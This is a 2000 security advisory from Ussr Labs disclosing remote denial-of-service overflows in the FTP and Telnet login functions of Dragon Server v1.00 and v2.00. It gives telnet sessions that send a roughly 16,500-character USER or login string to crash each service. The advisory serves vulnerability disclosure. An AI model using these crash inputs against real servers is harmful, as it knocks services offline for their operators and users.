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Multiples Remotes DoS Attacks in Dragon Server v1.00 and v2.00
Vulnerability

USSR Advisory Code:   USSR-2000046

Release Date:
June 16, 2000

Systems Affected:
Dragon Server v2.00
Dragon Server v1.00

THE PROBLEM

The Ussr Labs team has recently discovered a null memory problem in
the Dragon Server,

Ussr Labs found multiple places in Dragon Server where they do not
use proper bounds checking.
The following all result in a Denial of Service against the service
in question.

SPECIAL NOTE: That we take no responsibility for this code it is for
educational purposes only.

Example:
The Ftp Server (Port 21) service has a overflow in the login
function.

[hellme@die-communitech.net$ telnet example.com 21
Trying example.com...
Connected to example.com.
Escape character is '^]'.

220 Dragon Server v2.0, ready.    
USER [buffer]

Where [buffer] is aprox. 16500 characters.

and the process containg the service crash

Example 2:
The Telnet Server (Port 23) service has a overflow in the login
function.

[hellme@die-communitech.net$ telnet example.com 
Trying example.com...
Connected to example.com.
Escape character is '^]'.

Dragon Server v2.0, ready.

Login:   [buffer]

Where [buffer] is aprox. 16500 characters.

and the process containg the service crash


Vendor Status:  
Informed!

Vendor   Url: http://www.shadowopsoftware.com/
Program  Url: http://www.shadowopsoftware.com/ds-index.html

Related Links:

Underground Security Systems Research
http://www.ussrback.com

Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN,
Technotronic and Wiretrip.

Copyright (c) 1999-2000 Underground Security Systems Research.
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of Ussr. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please e-mail
labs@ussrback.com for permission.

Disclaimer:
The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any damages whatsoever
arising out of or in connection with the use or spread of this
information. Any use of this information is at the user's own risk.

Feedback:
Please send suggestions, updates, and comments to:

Underground Security Systems Research
mail:labs@ussrback.com
http://www.ussrback.com

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